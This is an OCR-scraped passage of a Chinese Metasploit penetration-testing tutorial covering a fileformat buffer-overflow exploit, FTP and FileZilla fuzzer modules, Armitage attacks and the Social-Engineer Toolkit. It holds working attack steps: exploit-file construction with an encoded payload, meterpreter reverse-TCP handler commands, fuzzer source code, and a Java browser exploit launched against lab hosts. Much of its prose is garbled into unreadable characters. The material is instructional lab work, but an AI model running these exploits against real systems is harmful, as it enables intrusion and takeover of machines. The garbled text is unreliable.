sploit << "™\x90" * 45
sploit << payload.encoded
galan = sploit
print status ("Creating '#{datastore['FILENAME']}' file
..M
file create(galan)

end

K B A O T AR P A QRS 4 45 ) Metasploit BEHR IR — AN ] S i) s i), 33X — 3ol o ) ofl
E AT WA AR A B o G THRRERE, Bl (%7 2 3@ 22 F ] Metasploit JH f)a]
IR R AR, T — 19K 27 21 R U T H R AR B R B2 M 3 Metasploit HEZE DLW
BB,

8.6 ARt A AR B

fE BT 2E 20 T B T H OB S UE AR T A SE #E A Metasploit BEER, A1 R
ZARBRARAF B S E AL E, JFNA LR IEH 2% .

it &

T A R ACHS R HREEAT o (0 SO AL B R AR R, B TIRERA RIBLR AT 4
frE, FIRE4T8) T Metasploit HEAL BRI A TS . e B ROIRA I SE k2 )5
TEA7 38 AL R HARAE

EHTH

F T b A R e A R A GRS R, B XS B H b2 Windows ¥E1E R4, sEm ) 2 %F
FE M SCAFRE G, PRI AT URR 448 3 645 ELAH N R A7 A7 . 545 modules/ exploits/windows
F3%, a7 LLURIRES & () fileformat SCPEYE, 12304 Je F 1A SO A 5% (0 I A1) AR 1Y
Bk, ¥ LinmEisRA7 N galan_fileformat bofirb.
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EB¥ITE
BT R ZEREEREIER, R MNceMEHT KEMSER, HitX—{£%11
fajee, KR FAPEK.

msf > use exploit/windows/fileformat/galan_fileformat bof

msf exploit(galan fileformat bof) > set PAYLOAD windows/meterpreter/

reverse tcp
msf exploit(galan fileformat bof) > set LHOST 192.168.56.101

msf exploit(galan fileformat bof) > exploit

{EH exploit g &t AT 1ML, FHOIE AN 0T 76 HbrpLas 5| A28 pp X i i S04 .

IXFERLSE R T AR F G MIBRATIE AR, W] LU B 2O REAR AT, 34 o 48 DR A 1 A2 s
A3 Metasploit HESBIER A IEWEEHe . F AT LU 38 75 250 I A B AT P 545
B AT ELA) Metasploit 1 P23 AZHT G g (AR SR LLEE 5 4t A 73 5.

8.7 {diH] Metasploit £ TERINLA

BRI — PRI, A HE A4 B AL A B AR I R . O8N
B AS A Rl T O B, 5 AR 4545 E 1 H AR A DL UE R 52 33 ii HH . Metasploit
AP A AR AR, W TR AT . FIEERE — T EORIR Y 2,
AR ERERS Metasploit B FH 5 7 FRASOR B 28 .

&

{ES+44 Metasploit BIRIRIKBIR Z 57, &7 S BOR I S LR TR B i T .

BRI BN 2 — R R S IAE AR, T R s ), X R
I 1 N R R P e e 472 48

BRI AR AT AR AE . BSOS b (3R, 7T B B4k S B0 s A= ik
MEEAN R, ™ ATl i N B9 Bl s A K.
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PO I 28— AR I T EGEA

o MV (AMS/EMTIUER. FRE5)
e Fff (URL Ma44THiA)

o JUEE: HIEMARISIAER (id3 $5%)
o AlF ) k7 A

R A R A N R P ek D 26 Y, T DAAE R b e A BRI IR 8%, LA A B e /8
AR 2 5 S 806 H . Metasploit PAE T — B0 RCHEE, w7 LR A R a3l 7 vk
W AR AP X5 7E modules/auxiliary/fuzzers H 3.

BRI

TFHEDEIT AT BB S BER, Metasploit & —4~4 4 client_fip.rb 1] FTP
g, HAERIRA M FTP Mi5548, JFia FTP & I AE BINAS B.

msf > use auxiliary/fuzzers/ftp/client ftp

msf auxiliary(client ftp) > show options

Module options:

Name Current Setting Required Description

CYCLIC true yes Use Cyclic pattern instead..
ENDSIZE 200000 yes Max Fuzzing string size.
ERROR false yes Reply with error codes only
EXTRALINE true yes Add extra CRLF's in..
FUZZCMDS LIST.. yes Comma separated list..

RESET true yes Reset fuzzing wvalues after..
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 21 yes The local port to listen on.
SSL false no Negotiate SSL for incoming..
SSLVersion SSL3 no Specify the version of SSL..
STARTSIZE 1000 yes Fuzzing string startsize.

STEPSIZE 1000 yes Increment fuzzing string..
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=

MEER T LR B Z A SR 2 A ANSE, FEA — TS HARN .

CYCLIC %5 FH -1 & 37 SO ) o 2o 0 i A K, # iR BERE 4 M mEE at.
LT E N false, TIBUH 2K (8 A5 A 410 7 7F 5 75 0 B0 il oL 200

ENDSIZE T -5 SGR [P145 FTP 25 7 g (KRR 3 iR B i e KR . BRI i
T, ZEAEE R 20000 F.

ERROR 70 @1 R4 6L E 4 true, RHAE RIS R ACHSXT FTP %7 ¥ HEAT W .

EXTRALINE %50 H T 8Bop ik B 43 % . et 200 Hx 443G KN, FEFTP
5P 2 i

FUZZCMDS 3 T 5 SO0 b Lem B A5 B2Ef T BOmI ik, v RERY1E K A4E LIST,
NLST. LS #1 RETR, ] LL¥ 38 k%, DUE T dy 2 3E 1A il it .

SRVHOST X0 F T i & BRI 8 25K (A FHWE A~ TP Hbht 55 FTP ARS5-253H1TE0E .
HFAMALRE, XAMERTLLEE N 0.0.0.0.

SRVPORT &5 158 X FTP k55 25um 1, BRIAE N 21,
STARTSIZE % 30 T 5 SCRCRA 30 38 25045 10490 a4 B < 1 .
STEPSIZE ¥ET0 T & St 4 A Mot , B0k il B &5 e 9 & .

FEE AW I A e i, T B W R B R IEMR S 8{E, "THES 3 BEM#A R

o BONBUMIASA IR B, AT LA ARSI . T IIZEAT FTP 257 S SOR il ik
, HEHEILRFIER.

msf auxiliary(client ftp) > run

Server started.

Client connected : 192.168.56.102

- Set up active data port 20

Sending response for 'WELCOME' command, arg
Sending response for 'USER' command, arg test
Sending response for 'PASS' command, arg test
- Set up active data port 16011

Sending response for 'PORT' command, arg 192,168,0,188,62,139
Handling NLST command

- Establishing active data connection

- Data connection set up
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[*] * Fuzzing response for LIST, payload length 1000
[*] (1) Setting next paylocad size to 2000

[*] - Sending directory list wvia data connection

TS B A LS S I, B4, FTP IRGSBAM IR Fash, 2 JGH%E FTP
=P, JFm S LA R IEAE R A dy 4. BRI M NLST 8 eh, 252
LIST % 4.

R BB AR TAE T U — AN, FATP RO F & B O RB0H BBk,
R B SCRROR W A2 A T IR AN B

EHTIE

BRI = W B AR R P QU A R S B, £ B A7RE, FTP RS2
PSRN 0 kA 3 e A 36 BT e 0 22 e ol 2 S AT 43 BT S B Y, e A T At ) 485 3
P AR R AT RO U

o HURE . BUBINR AR AT LUK R BEA (A FA) BE AL B0 3\ 2 Bdie 3k 358, JFxd
Wi B S EAT 2 HT

o HURAIINAN: AFFIBOBINNK A8 T LIRS I AR T XTI RE BEI TR
o HEREX/N: AT LURHERHRERIBE (AR S PR N R R LI R 75 255 | R I8t
A BRI, SO 2% T DL [ 0 1 R 1] 24 it s B0 4

8.8 a5 FileZilla FTP BOBIL AL

A ST AR ) TR, Akt e A ORI/ FTP BOpi
ha%, H T4 FileZilla FTP R 45 22 8E 4T RO 30158 .

ERIH

Fe EEASORY) I A% B RE AR L5 i F Sl B ST HR BT ) OB S 0L,  SEABUAR R LA 4
T,

require 'msf/core’

class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Scanner

def initialize

super (
'Name ' => 'FileZilla Fuzzer',
'Yersion' => 'SRevision: 1 §',
'Description’ => 'Filezilla FTP fuzzer',
'"Author’ => 'Abhinav_singh’,
'License’ => MSF_LICENSE

)
register options( [
Opt::RPORT(14147),
OptInt.new ('STEPSIZE', [ false, "Increase string size each
iteration with this number of chars",10]),
OptInt.new ('DELAY', [ false, "Delay between
connections”,0.5]),
OptInt.new('STARTSIZE', [ false, "Fuzzing string
startsize™,10]),
OptInt.new ('ENDSIZE', [ false, "Fuzzing string
endsize",20000])
1, self.class)

end

AT AUISEOR T MSF JE, I —AN28, JFE P —2Em, F 35 X
PR AR AT

def run_host (ip)

udp_sock = Rex::Socket::Udp.create(
‘Context' =>
{
'Msf! => framework,
'MsfExploit' => self,

)

startsize = datastore['STARTSIZE'] # fuzz data size to begin
with
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count = datastore['STEPSIZE'] # Set count increment
while count < 10000 # While the count is under 10000
run
evil = "A" * count # Set a number of "A"s
equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\
x00" # Define the payload
udp_sock.sendto (pkt, ip, datastore['RPORT'])
# Send the packet
print status("Sending: #{evil}")
resp = udp sock.get(l) # Capture the response
count += 100 # Increase count by 10, and loop
end
end

end

N ATZEA, ZBA Y S0  UDP socket, X7 F| FileZilla AR 5% 2% )34 B2t
M B RIS R startsize 5 count, 4375 SCT BOMI A 8% (92 A Eds KD R
FEH, ZJERSAEH, HEH D HYRRFF S MBGERA R, Xl 28
(pkt) IR 7> AGEF] H R

I e » M AAE ] udp_sock _sendto B HORE il 55 28 A% K8 40, H-4F F resp=udp_sock.get()
PR B AR R 55 45 O W B A R . BRI S RS, E K BEE I n 100,

ERIE

T B, e LA B modules/auxiliary/fuzzers/fip H%, ¥ iZiidni b
filezilla fuzzer.rb.

msf > use auxiliary/fuzzers/ftp/filezilla fuzzer
msf auxiliary(filezilla_ fuzzer) > show options
Module options (auxiliary/fuzzers/ftp/filezilla fuzzer):

Name Current Setting Required Description
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DELAY 0.5 no Delay between..

ENDSIZE 20000 no Fuzzing string endsize
RHOSTS yes The target address

RPORT 14147 yes The target port
STARTSIZE 10 no Fuzzing string startsize
STEPSIZE 10 no Increase string size..

MERATLUR R, B TAE R, R T —Sn] A9 . 6 AH N g kAT (A,
HAEH run fr 21217

msf auxiliary(filezilla fuzzer) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1

msf auxiliary(filezilla fuzzer) > run

[*] Sending: AAAAAAAAAA
[*] Sending: AAAAAAAAAARAAAAAAAAAAAAAAAAAAAARARAAAAAAAAAAAARAARAAAAAAAAAAA

LI A AR Z AR U A AR 1) R 5 SR AR AR R, P -HERX -RELE, HER
5t A BESOR IR G R . W RAERR 55 88 I Z AT PEER 450K, TLL 25 e Ak R X K
A fre . Ll &R T M Metasploit 0 #AFBEATBOMI MR R ot A, 38 % A DU A
Metasploit X KRR AFREAT BRI K. X B0 A0 N R P OB I iim 35, sk mT DA — 2%
R LHIHESE

E®

R TP TS T BRI S, SR AR e AN T 3R e ) P ARG I R A T
MISRAE S, T AE A ZHES .

Antiparser 18§ {E22

Antiparser J& {£ /f] python ¥ 5 %5 i — /M BURIMCHESE, FI 3 Fa) s 45080 01 3825 11 BE B 3
P B FE . ZHELE AT TR R T SIS AT AR RS, PR A A g — i SR R
WA ‘&2 %% Python fi#t 2% .

Antiparser ?] LL{E http://sourceforge.net/projects/antiparser/Ab T #%.






BOE

f£H Armitage

ATV TR N A

e {ii ] Armitage;

o i H{E BUE:

o LN B Hbx;

o fii/f] Tab PIHALFE T AN H b5:

o 1#H Armitage #1751 BEM B 1T AE;
o {#H Armitage BE1T% )l MHiBIE .

9.1 M4

A5 VEIA ) N 28 56 42 K T Metasploit HESEMF), /43 B REAE A HESE A REIEAT T 4F
HBE N . BAEBA TR B ) ¥ B 1| Metasploit 7 B TR, AT RSN 2. A%
+ES 4 Armitage, ' /212177 Metasploit AESE L1 B 5 T, 2P edb i T,
a] LA H Ax g i AR A2 T TR R, B SR ER D — S RN 5B E T B
L.

Armitage #¢ 7 Metasploit HER 7 R B Dhie, QRS HARAI. Vi, Jai3i&E TER
HoAth—234E . Armitage PEEEER THEX, /T e G sE PR IFE B brbrde 2
[T DR, IR BT & VRIS A AE R B FrfE. Armitage 07U B4, JFA
LR ZAEPMBP FAEIE. Amitage X 2450 HAR3ET T ol ALRE R, - LS /2 i 5
W& EHLEESL T 2% . Armitage F F#IFARI RIS, @17 B3R E (ki) &5 o
W — A el A P AR AT R . SR TR %, T LA Hail Mary Bt Armitage ()
Hhelk ek The, X H TR BIE.

HEA Armitage B HEJ5, AIF 3| Armitage L5 meterpreter 1PN B L5 B BN BT



200 Metasploit i&i% Wik F A

A, BARTEEAGENERIED, HoTCALIRREA . fidx. OLEHFH. o
WL R G, AR fir 2 shell SFINEE.

it # ] Armitage, A LLFIH PR EFIThAE, P RAEEINAES. "
A+ 417F Metasploit {8 Fi] Armitage (FIFEREAIIR, SRS 4 Armitage S D56 BB ER B
J {818 M B AR REAT USRI 2047

9.2 f{#H Armitage

B 5644 Armitage AR LFE, 9F57C Windows Fl Linux 1] BackTrack 5 A [F] PR 5% .
(eI () BackTrack WiAH, CL&8T%d: T Armitage. E/E Windows 9% Armitage, 7] LA
MILE 77 W LT #L ZIp .

http://www.fastandeasyhacking.com/download

BRI
B JCAF BackTrack H#J# Armitage.

(1) 7 BackTrack 5 R2 sk %de Armitage. IR FEZ T H, nTblskadisim i
Applications, )7l Backtrack | Exploitation tools | Network Exploitation tools | Metasploit
framework | Armitage ¥ 631 1T K.

GUI Ftifiddzs P @riZs:, 2 al{ER mst F test fERBOARIH P A 104, A LUK
DB K ahFE 7R 55 A postgressql, & E ) DB #7175 5 8 msf3:"8b826ac0" @127.0.0.1:
7175/msf3.

B ah A58 Hert

| ARt |

hacle | +racle
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(2) BN eSS, ATl dids Start MSF Ji 5 Armitage GUI.
$IE Windows [ FJEE Armitage, 75L& LLFH M EHR&AF.

e Metasploit 4.2 & UL A,

e JDK 1.6.

(3) A/ el A i d ) URL o F#GE ZIP S0fF. Bk — P ER ML, Tkl
ifiid Start | Programs | Metasploit framework | Framework Update B2 8E1T W 87, W3 5¢ il
Rl B A Armitage #5111 #] Metasploit .

(4) WH5EHUS, W {E Start | Programs | Metasploit framework | Armitage #4248 8%
3% i 8 Armitage.

[-Commeat | s

(5) M P da] BLE B M T EREN GUL, K9 ¥ T Host. Port. User. Password (88
M. #idi Connect 4l J32h Armitage.

(6) i Connect $#54, HFHL<H /7 K1 8h Metasploit RPC R % 3% . Sl Yes #Hl, A
FH 0. BELFE Metasploit |8 H] Armitage, A LUK [P Huht M 127.0.0.1 #5200 TFE IP.

ERIE

Armitage Sl GUE ¥ Metasploit (1) RPC I 92HLAY. sy Connect fEHLZ IS, Hr=tE—14~
4 1) RPC [B1E S0 R 72 R L4 Armmitage ifiid RPC 1 FH AN 10 Metasploit
HERE, JFSERrmIpie e, PERRLh)S, H L Armitage GUI JHi, JCRCHER MSF #5816 .

EE
Fif— F BRIl Linux L #H Armitage.
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7£ Linux F#J32 Armitage

7t Linux & 1] Metasploit F & Armitage R 2R R, HP TN E M F
Y 1) 2 B B, 8RAE Metasploit 4.2 2 LL IR A h iz 47 msfupdate iy 2 3R H{ Armitage.
£t Linux bA¥ ] Armitage I, SER[0RAESE P B FE IEAEETT, W RITES Smde 1 P IE1T
/etc/init.d/framework-postgres start fip % i1 5] PostgreSQL .

9.3 FMii'Sfa Wk

DA TR B N 2 Ok al, BRAEFRATT AT LI{E ] Armitage #E4T — 28 IE AR 12 B A #R1F
B4 545 BlicdE . Fili/E Armitage 134T Nmap £, FHx6t GUI b B4 BT FH
i #r.

-3
i1zl Nmap 144, B 5Ci1E+E Hosts, #R)J51E+FE Nmap Scan, W FE A~ FnpeidEx:
Mz tE Rge, LLT B ENE ST

=[.metasploit v3.7.8-release [core:3.7 api:1.8]
=+ ===[ 684 exploits - 355 auxiliary
[# -- --=[ 217 payleoads - 27 encoders - 8§ nops

iy
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POk N Armitage & 1, HAMH —MERMR, EHLPTDHRRESR S IrA AR
ik, {HARTE msfconsole 'PJE’?{A’E:FE:Q 1] UL 3] MSF Console Hif, 7EH A 0] BLFAT
ﬁ'ﬁtiiflflﬁl'if"il‘_'l’i’:lff;ﬁ‘ Metasploit 2. BTLAZEfEH Armitage B, BEnT BLR| A GUI g,
AT AR F i 24T B Th g

SRl

LHATHES, T EEfEW AR,

(1) BN, Armmitage ZRIEYE P 5L 1P HuhkBAE A4 Hbs. Bla, L
192.168.56.1/24 1E 4 H prH ik Br, Xz M BGET #AFH, HR [PLZ BN 4735 E AL EAE
ARG RAFEE B

(2) FAHsea, 5T fris EVLA L ] e HME R 26/Y, W F B, albl
3, 3 6/ EEN, KPP Eiari 2 Windows, — 12171 /2 Linux.

" ml auxilar
'.'x_ i

i ewpici
* (@ payload
* s past

192, 166, 56. 101

| (98%)
{ [*] Mmap: No exact 05 matches for host (test conditioms non- 1dm1:|.
[*] Mmap: Network Distance: 1 hop,
[*] Nmap: Service Infe: 05: Windows
[*] Nmap: HII-}D scan report for 192.168,.56. 182
| Mmap: Host is up (B.00818s latency).
| Mmap: Mot shown: 90 closed ports
| Nmap: PORT STATE SERVICE VERSION
| Nmap: 111ftcp open rpchind (rpchind ¥2} 2 (rpc #180000)
] Mmap: Device type: general purpose
] Mmap: Running: Linuz 2.6.X
| -huup: 05 details: Linux 2.6.190 - 2.6.36
1 Mmap: Network Distance: 8 hops
|
1

[*
iy
[*
T
[=
[*
ks
[*
iy
[=

hllmp: 05 and Service detection performed. Please report amy incorrect results at http://nmap.org/submity .
Mnap: Mmap doneé: 256 IP addresses (4 hosts up) scanmed in 33.01 seconds

(3) #&FRWEHE %-f:’kﬁﬂ'h&‘ilIhil‘i{H.'{ B, B P 3l AU R T A GRS 21T v 3
k. AT HARE®R, sili Services I, B —ANBIAYSER, Hrehail i T FF e 1 M b
H I'LL?J‘T'KJH | R 55 JLJ:iléH JiR BATATUWER KR X TEAHERGER, rdE
AR AEDOUR s AR
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Armitage \iew Hosts Attacks Workspaces Help

v [B awdliar
* [ exploit
v [l payicad
> I_u] D05

iy e VL HIJE Armitage BRSO R @A RIR SR, XH BT H P R AL BE A
Hix, ) 1J HJ A A AE A R B AR Z [EZEAT V)3, JFIRECA A B pRrIHE S B . #1E
B I RS Armitage $EAERIETLAEE, W] LLV)#HE] Console 3 H.Jf HE{E H H S 1
Metasploit iy % . % HirAb B Armitage FH5E Metasploit 1] &5 ) — KIE#, 0l DR E i85
URFI &

FA oA 4B ENART BT E, JFSEPr& 52 Armitage TR S thaE, JLpft THIG
(R O Il R FH A GRS R e & iy, ) N 26 H bR iz ik b .

EHIE

Armitage M Metasploit HEZE 1 7 A Nmap Zifig, Nmap i 212 52 LI Metasploit §5
WA Armitage GUI H45iE 1), R )5 Metasploit i Nmap 4, HW‘L‘JH Metasploit
a2 ENZE.

9.4 Sk 5 Y Hbs

A EENGUERAE Nmap H A0 00 H dr P BHahF R 5006, Armitage 5 A48 T
JBC M ERAVE RGP AR C A, B etk B bR 808 2 s WA AR . HiX
RS RIFAGREZIESR, FAEZERPREFEA S SHKE T Nmap 5 1R 9]
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iR, WRIRIE RS F IR, BarEErREA B EAST .

&

33 Armitage [, %8 Metasploit, #R)5 53 Nmap H4 30T I H bR, A0# T
HAECSHidixe %, FimFl A Armitage 75 H Frblash F- 1R .

BRI

R EMZ )5, %FF Armitage 1) Attacks TN, A LARRYE A B R0 80 111 #%
VE RGN -4 O O % TR A AR, B4R 300G 2 3 I A FACHS, W] BRI it Attacks |
Find Attacks | By port or by vulnerability .

EHIE

Armitage B AHAEZ )G, FHEVLSEG AT, BN K Attack
BRI, EFRZIET ] B8 i Armitage 4 XEANFFE H AR B AN R B ik .

' SunMar 18, 3:16 PM &2

192. 168,56, 10]

k

T kX Windows HARBET M2 3, TLIEH] SMB ms 08 047 netapi #&ifd, 7& H#x
PLRS % Ak fcds, 3L Attack | SMB | MS 08 047 netapi 4% 7] LL3% 21 1% i ) FH ¢,
H 7 a] LK 7% Use a reverse connection 30, {F eTh AT A A G, o783~ in
R, HATCUME R I F—i %,
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y  HesHLEMEE A RLa f, BEYRLSEERE, R\BGEEECDLKRY).
y AR HARHLES R, & 1 meterpreter A IEIE T .

» msfconsole ¥ B ~FT F 1221 o

« Armitage

Armitage View Hosts Attacks Workspaces Heip

> (@ awdbary -

[ freebsd : 192. 168.56. 16
@ hpu NT AUTHORITY\SYSTEM & DAR

192. 168.5%6. 101

a w

J Lonsole X } nmap X

|

#i - i EH ¥
## #E AR BUHEERR BEER BERER HEREH A E#ERN HRAAER
HERHNAR B FEF &8 8% £ a8 #H #H #E N LE i
#EEHHEE FANEHE HE  SREER FirdE . £ &F # #& 08 #H HE
¥ & WF e ®F &8 FR ¥ HHREH #H He  RH H L4
#if #E W SN rRiEE HEgaE ## B#EN #RER BiNE w8
i

=] metasploit v3.7.8-release [core:3.7 api:l1.0]
+ -- --=] 684 exploits - 355 auxiliary,
4+ -- --=[ 217 payloads - 27 encoeders - 8 nops

[*] Meterpreter session 1 opened (192.168.56.101:3240 -> 192.168.56.102:1244) at 2012-83-18 16:06:27 -

msf >

M EEATULER], AT EELIEREmS, ﬁj’;hl“J'l_ziif“élfljéyfr}i{%J'iH’ri;ffMI*IH’ﬁH‘JL%ﬁI’ﬁJI’LI;i&E
7. GUI #24t I Metasploit fr 25Xz M FrfiDhie, AHEZMNWE T ZmRKmThie. Aok, &
A msfeonsole 7ir4 17 RUFHIEYR, A FEsC WO T GUI, 148 MSF ThfigoiZilil Al’l‘l‘l.]lclg(.,
i GUI il ]

TR HER Armitage 34T 52 E N B TAE.

9.5 {#iH] Tab UMHRALERZ AN H br

(EAT I AN 2R, 2223 T{EH Armitage GUI 2B dBEEE S . £ H, BHdE
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{# ] Armitage [ 5 —{E%: 7F Metasploit P AEE LA HERE, AiHITEHUINESIHZ(E
AT U, XM E B AU FE 0] 7E Armitage SR LLINGE, 38 {8 AN [R] B 56 S0 a] s
B, Rk R AR SE LR .

BRI

76 B, ERTh G Windows XP H FrbLas, [RIEA AR PN ] ) Hbx. 23X Windows
2008 Server #ATEGE, WA ZENE, EFESENREFARAARE. &5 55 —F
ok, L View | Console JE BTSN G, FHAEH P ar 178 F 200 HArblas .

ERIE
HL AN ZATIRF, FEEFE S SRR HAREAT B 88 .

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit (handler) > exploit

[-] Handler failed to bind to 192.168.56.101:15263

[-] Handler failed to bind to 0.0.0.0:15263

[-] Exploit exception: The address is already in use (0.0.0.0:15263).

[*] Exploit completed, but no session was created.

MEERATLAFE #, exploit dy-2 H L4, PRGN I n) ZE R AL PR P48 58 3 192.168.
56.101:15263, X/ KN 7EXT Windows XP H br#EAT X e OO F & i 1 E T T Jg m) i 432,
FIT LLRO 2 438 o 115 FF B R A exploit iy 4> .

msf exploit (handler) > set LPORT 1234

LPORT => 1234

msf exploit (handler) > exploit

[*] Started reverse handler on 192.168.56.101:1234
[*] Starting the payload handler...

) i P ¥ A FHACHS B ThIAT S5, mT R Th a3 Sl R . MW FE S AT LLE H, Windows
2008 Server H #2841 3 H B 47 PU AR5,
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KRR, AR EAEARGERERR, o] BLIEA E SR 2 ) 37 U] #,
Ll SEEXPar) HAri T2 H .

197. 168.%6, 182
[ AUTHORITY\SYSTEM £ DARKL ORD

192, 168, 56. 101 yes The listen address
12123 yes The Listen port

ExplolT target:
ldu.an-t

L Hildtdrd Target

msf exrploit(handler) = set LPORT 1234

LPORT = 1234 2

wsf cxploit(handler) > exploit

[*] Started reverse handler on 192.168.56. 101: 1234
I l \T-Ir'linﬂ rl‘lll n..lI'Inar‘t hﬂﬂl‘lllr

XL Armitage 55—~ ] {E AT IR IE IR S EEINRE, &R TN £
™ H BRI

9.6 {1/ Armitage JF17)5 5 1ENT BRI

fE LB T Armitage 7EACPE R BTN, M EBRBGHZERI) G, 75248
(TR a BB BURE. FIHIA — F Armitage 81460 5 H 1 518 B Bo e .

EHE
BATR X C s sl 2h ) Windows XP LML T 4087, 3 TR EFEEIL FHUT 535
Bt BL 41



®9E (FM Armitage 209

ERESCHL

SER HAR 2 G, A HAREER, TN — Sl R, — 5% LAY
JaiZiEN B aERLSE: Vil ACH fl pivot. 7 Armitage ', XEEHefE B 75 500 i — 2 {l b5
R ERAERN AT S5E . P IIPAT G ER B — MR s B A — M RE—BUREEH, 7
Hbr R A8, $k 3] Meterpreter | Access | Escalate privileges #8542, & n] LLSZ LA PR 12
FHEAE. JaiZ&EN Bt ¥ — > EERAF screenshot, A] LLifiid Meterpreter | Explore | Screenshot
PRSI, ZIRAE RTAE S n) B P R B bR S AP, G RT DU B i AT
RUBARAE, R MR RG] |

192, 168, 56, 102
HT AUTHORITY'\SYSTEM 2@ DARKLORD-GCAD3IE

Files Stored on This Computer

[ Shared Doopneris | darkord’s Documents
L
: Hard Disk Drives

e

L | _

L ?ﬁ_,l Loscs Dk L)
b

A e i

| Rafrash | . Watch (108}

EBHIE

M BB 2, TR C278 i O h e, FmsA B ML, —N 2 Refresh f4,
A LOWARIGEA T RF R 4E, 55— Watch #%48, 123855 10 o0k B BEEAT— Uil .
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iy, taTLAZER Armitage FORKEAIIN “click-to-server” 5F )R BB BUEIM, LIE
I 2% WA R .

i SR ] Armitage 124 Metasploit ¥ 7ES N2 E RS A — /o], R
418 Fi| Metasploit ir4J&, A 4Ff# Armitage (M FEDIAE. KM 41T TRM GUI I
a6, AF Armitage A TIZE A — ML E.

9.7 {£H] Armitage 31 71% F inB B iE

MEHRREREPASHEYHEARE, BAaR mictEE e A 3@ K.
{E5 4 Frpogihigid, &/ RS ZESORR R B A5 R b 3mSR H
Wi, {0 Internet Explorer fl Adobe Reader. 415 4 ¥ 7F Windows 7 #13% I { /] Armitage
BEAT Jave 2 B i i F) BB E .

&
Jei8h Nmap $948, SRECH brbLEs B 615 B .

ERH
ST R ER T A EE, AT LS T AR 3R

(1) 7E Armitage [ Hi#i, €3 Exploit | Windows | Browser [java_docbase bof #1%,
SR 2 I B Frs ) — S S H0E T .

* windows/browser/java_docbase_bof

Sun java Runtime New Plugin docbase Buffer Overflow

Tr-.--; mo -_| jle explofts a flaw in the new plugin component of the Sun java Runtime Emdronment before vE Uipdate 22. By

a
spaci zpa f . paramaters to the new p gin, an attacker can cause s stack-based buffer overflow and exec ute £
;fhl!r :.\-"\-- Frra Far P maes moboesim g imanad st o3 las el inla® rnaramatar B oaall faoeva e rqu.nf ~f tha "Aocacas” ¥

' -Option #&i Value
 GRVHOST 0.0.0.0

SRVPORT BOBO
95L 1]
S5LlvVersion S5L3
URIPATH

Targets: |0 => Windows Universal (mswcr71.dil ROP) (»|

.| Show advanced options -

ELa-L""Ch-}
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(2) JWiFAFA B 2455 SRVHOST 1 URI 2520, B H - S4ii4E 5 brbLas i 1P
RehEFIE A7) URI 2%, HbraZ2EEi 0S8 E 7ERE.

(3) Z2H8{flLid )G, A Launch #2580 1458 58 ISk R .

EBHIE

ity Launch #% 41 )5 , 7F Console & [+ 0] & 3| 12 & 15 5/, Armitage $F4E%—~ URI
poht, SAEAEE PR P SdEMEE, B R B A REEAT . Armitage W H B0 E 83—
AR VT 8%, FEERFEGE R S HARPLRERI B A HLes. F P T LMEE £ RAR
At THREEARK % URI fidas HisR P, FR@EH P fdii% URL.

WitikYh)a, wIfE Armitage GUI 'PE R, HirPLAEEEL )+ HIUE &R B, A8
Padriz bR, SRR G EEN BUET, BT meterpreter 21K SRS
BET, R E TR

\ Meterpreterl

o
: . n
'- B Login > 7y
u‘ - =
&5 Froce

003 ie css_import redirect
html" -
L 803 ie css import HIM
&t 37 meterpreter 23 1% 55 A [A) 8 7F (fwa BA5 2 th A LLZE Console 2% D h H F. 5Lbr I
AT FE15 P AT B SR —FE, Armitage ARSI HROE GUIT 28 H 8 A o AN i
FEREAT T etk







F10E
HETRYTAR

AEYHE N AN

o fHMHMSTHAYTHA (SET);
o fHM SET FdT 2 {t;

o G KA

o K K

o LUl Web K&

o MR .

10.1 5|5

HaTHREREET HEH D CEMPIT — S8 ERNIT . EE TSRS T
s, HP#ERIIT & FEEURG B RS, s —HEEEMERE. 2
T2 Z#NHMERE T, B FaREME, HiEE RS HHP TR —L&
MEIEHWAEX S . B, EOTERENHMO%4, B Gmail RLZLRGREME, H
G2 TR, ) b P AOE O i) B /4 A i, 3% it 85 8 545 B A
RS .

e TR T RO BHEE N THATIX S ERES), [Enla R4 nEERE D
A FACHS A —FF, SET n] CLAERME b FH T B0k A28 & B RBRBE Y “ Wi A AR 7,
SET 72/ /71 L HAL, WTLALM www.social-engineer.org F3t F#%, I H7E BackTrack 5 147 %5k
IR, AFih, ATV SR TRARS A A, LLEZ T B4 Metasploit
HESR P AHEAE R, B ORTE Wl G B ik, AR o] o) e B SO AT PR ER A, Xt
#& SET M5y FHIFFIRmAN A4 THRI A2,
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10.2 {HH#S TR T HA (SET)
BN SET 37041, T EANELFS SET IEAFEFS FAAER .

&

B 7 M www.social-engineer.com $24t Ti&H T AFF G 8 SET T8, SET TH
A, H BEAR 45 AT LLE I ) YA AR AT AR 0 GUI JRA, RS nE LR P AT I fr 24T
WA . BackTrack i %3¢ T SET THA, X FHEIHEH A ABE T EMFE.

EHH
72 1F BackTrack HP 35 SET, 1] LU #h &0 b L 3-8 0 F BR 42 .

root@bt:~# cd /pentest/exploits/set

root@bt: /pentest/exploits/set# ./set

Copyright 2012, The Social-Engineer Toolkit (SET)
All rights reserved.

Select from the menu:

l) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework

5) Update the Social-Engineer Toolkit
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

WAL B KAERH SET, ARG HZ TRA, DEREURFRIIHER —S 2511 bug.
{8 H svn update iy B EH LA, EHEM)G, AT LUOFRAER .

GUI WA SET T EAL A LLifid Applications | Backtrack | Exploitation tools | Social
Engineering Toolkit | set-web #42{# F .

EHTIE
e TRY TARAMRE T Python M BZML TR, WIEIERIKEN RN HEF.
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AT A2 FEAL SRR 4 Python 55 BN TR SET X —HEEBL TR E Ik, [Fef 7
¥z T HAEST] Web IRF2%. (EMFFIRAE HTTP ARS8 88 0] LA U5 i) 0 B8 28 A A< ()
SET T HAu, Aif Apache ¥ 0{d ] SET i il 15 ik .

10.3 ¥ SET ficH

(EATTH, M4 SET BB, &3 haE T TREMAKARSERBRIME.
T RZEAG, BOARIEC B SO AT ARIE IE% TTAE, (2450 F i E RISt s 7t
AT R E SO B . T — FACE SRS T WL se Bk,

&
BN EECE O, EeTHEEY)EF] config H, SRIGFTIT set config L4

root@bt: /pentest/exploits/set# nano config/set config

(EH B dn @/ FTFRCE M. 4T0F)S, BeR N AHENSY, W TFEFR.

